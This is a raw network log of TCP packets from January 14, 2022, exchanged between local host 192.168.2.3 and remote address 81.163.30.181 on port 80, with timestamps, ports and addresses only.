Jan 14, 2022 20:23:51.794537067 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.794574022 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794634104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794641018 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.794656992 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.794708014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794763088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794806957 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.794819117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794857025 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.794873953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794926882 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794980049 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.795022964 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.795030117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.795118093 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.799830914 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.806759119 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.806803942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.806956053 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.826738119 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.841639042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.841700077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.841742992 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.841739893 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.841800928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.841814995 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.841840982 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.841897011 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.841917992 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.841957092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.841995955 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.842009068 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.842036963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.842075109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.842113018 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.842119932 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.842152119 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.842156887 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.842194080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.842235088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.842288017 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.852509975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.852571011 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.852612972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.852637053 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.852654934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.852669001 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.852706909 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.852786064 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.852790117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.852834940 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.852874041 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.852888107 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.852915049 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.852957010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.852996111 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853012085 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.853038073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853041887 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.853079081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853116989 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853130102 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.853157997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853198051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853236914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853243113 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.853281975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853287935 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.853322029 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853362083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853401899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853405952 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.853441954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853455067 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.853483915 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853522062 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853562117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853574991 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.853602886 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853641033 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.853643894 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853707075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853734016 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.853748083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853770971 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.853787899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853800058 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.853827953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853899956 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853943110 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853959084 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.853981018 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.853997946 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.854021072 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854060888 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854100943 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854120970 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.854142904 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854147911 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.854182005 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854221106 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854260921 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854275942 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.854300976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854305983 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.854341984 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854381084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854419947 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854444027 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.854460001 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854480982 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.854497910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854538918 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854578972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854604959 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.854615927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854639053 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.854656935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854695082 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854733944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854758978 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.854773998 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854798079 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.854813099 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854854107 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854892969 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854928970 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.854931116 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.854967117 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.854969025 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855009079 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855047941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855065107 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.855087996 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855103970 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.855125904 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855165958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855205059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855226994 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.855242014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855256081 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.855292082 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855333090 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855350971 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.855370998 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855412006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855449915 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855468988 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.855489969 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855510950 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.855531931 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855568886 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855608940 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855626106 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.855648994 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855657101 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.855688095 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855726957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855765104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855783939 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.855806112 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855813980 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.855845928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855882883 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855922937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855937004 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.855962038 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.855976105 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.856003046 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.856041908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.856081009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.856095076 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.856127024 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.863982916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.864026070 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.867322922 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.883173943 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.899342060 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.899403095 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.899441004 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.899476051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.899497032 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.899512053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.899535894 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.899549007 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.899584055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.899620056 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.899640083 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.899667978 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.904624939 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.907305002 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.914206982 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.914262056 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.914304018 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.914336920 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.914343119 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.914383888 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.914397955 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.914426088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.914464951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.914504051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.914511919 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.914542913 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.914550066 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.914581060 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.914621115 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.914623976 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.914659977 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.914700031 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.914741039 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.914745092 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.914778948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.914819002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.914827108 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.914859056 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.914890051 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.914897919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.914937019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.914975882 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.914983988 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.915015936 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915018082 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.915056944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915092945 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915132999 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915144920 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.915174007 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915177107 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.915210962 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915261984 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915301085 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915324926 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.915338993 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915344000 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.915379047 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915417910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915456057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915469885 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.915498018 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.915498018 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915535927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915575981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915613890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915627956 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.915652990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915653944 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.915692091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915731907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915771961 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915776014 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.915812016 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915815115 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.915851116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915890932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915930033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.915966988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916003942 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.916007042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916013956 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.916047096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916085958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916095018 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.916126966 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916129112 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.916163921 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916203022 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916241884 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916249990 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.916281939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916296959 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.916321993 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916359901 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916400909 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916408062 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.916441917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916446924 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.916480064 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916518927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916558981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916565895 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.916595936 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916601896 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.916635990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916673899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916712999 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916719913 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.916754007 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916759014 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.916791916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916831017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916872025 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916887999 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.916908979 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916908979 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.916950941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.916989088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.917027950 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.917045116 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.917068958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.917083025 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.917108059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.917146921 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.917185068 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.917215109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.917244911 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.917256117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.917298079 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.917336941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.917362928 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.917376041 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.917397022 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.917413950 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.917453051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.917495966 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.917509079 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.917536020 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.917546034 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.917582035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.917619944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.917661905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.917707920 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.917717934 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.917893887 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.924213886 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.924257994 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.924354076 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.956547976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.956589937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.956621885 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.956651926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.956681967 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.956711054 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.956742048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.956770897 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.956820011 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.957139015 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.974633932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.974697113 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.974757910 CET	49866	80	192.168.2.3	81.163.30.181
